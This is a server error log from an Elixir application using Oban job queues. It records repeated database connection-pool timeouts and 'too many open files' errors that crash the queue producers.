State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 22:59:40.247300Z], limit: 10, uuid: "792e45bc-1a13-4b66-a877-ee1473735810", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:59:40.247305Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.229697>, refresh_timer: #Reference<0.2525715032.1068236804.248140>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:59:53.240000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1845ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 22:59:40.254590Z], limit: 5, uuid: "4a77a1f3-690a-4a58-bb64-1139ddb125bc", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:59:40.254600Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.229702>, refresh_timer: #Reference<0.2525715032.1121189889.101867>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:59:53.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2067ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 22:59:40.245636Z], limit: 3, uuid: "e065d52a-cc71-45b5-8013-45303ba8527b", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:59:40.245646Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.229700>, refresh_timer: #Reference<0.2525715032.1068236804.248137>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:59:53.240000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1804ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 22:59:40.246620Z], limit: 50, uuid: "712bcb25-f237-4cc1-bf43-07e63f4d4897", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:59:40.246626Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.229699>, refresh_timer: #Reference<0.2525715032.1068236804.248138>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:59:53.277000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:59:55.681000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:59:57.894000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:00:00.973000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:00:01.537000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:00:05.191000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:00:05.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1011ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 22:59:53.240339Z], limit: 5, uuid: "a73f2905-83a9-42ff-a6de-0d87365c56ea", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:59:53.240346Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.256428>, refresh_timer: #Reference<0.2525715032.1099169794.256427>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:00:05.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1007ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 22:59:53.242123Z], limit: 3, uuid: "7c2d6735-252d-40b7-a4cd-50df6b6811fe", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:59:53.242128Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.256466>, refresh_timer: #Reference<0.2525715032.1077411843.230073>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:00:05.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 879ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 22:59:53.241592Z], limit: 10, uuid: "24a9ac8f-e636-46ec-b164-90b208fd6d33", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:59:53.241598Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.256467>, refresh_timer: #Reference<0.2525715032.1068236804.248214>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:00:05.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1073ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 22:59:53.241670Z], limit: 20, uuid: "b99cf7db-0865-4799-a43b-25009e1d9a28", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:59:53.241676Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.256464>, refresh_timer: #Reference<0.2525715032.1099169794.256444>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:00:05.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 870ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 22:59:53.241821Z], limit: 5, uuid: "96222767-d62b-4c94-ab5c-8b7c854064ec", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:59:53.241826Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.256468>, refresh_timer: #Reference<0.2525715032.1068236804.248223>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:00:05.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1066ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
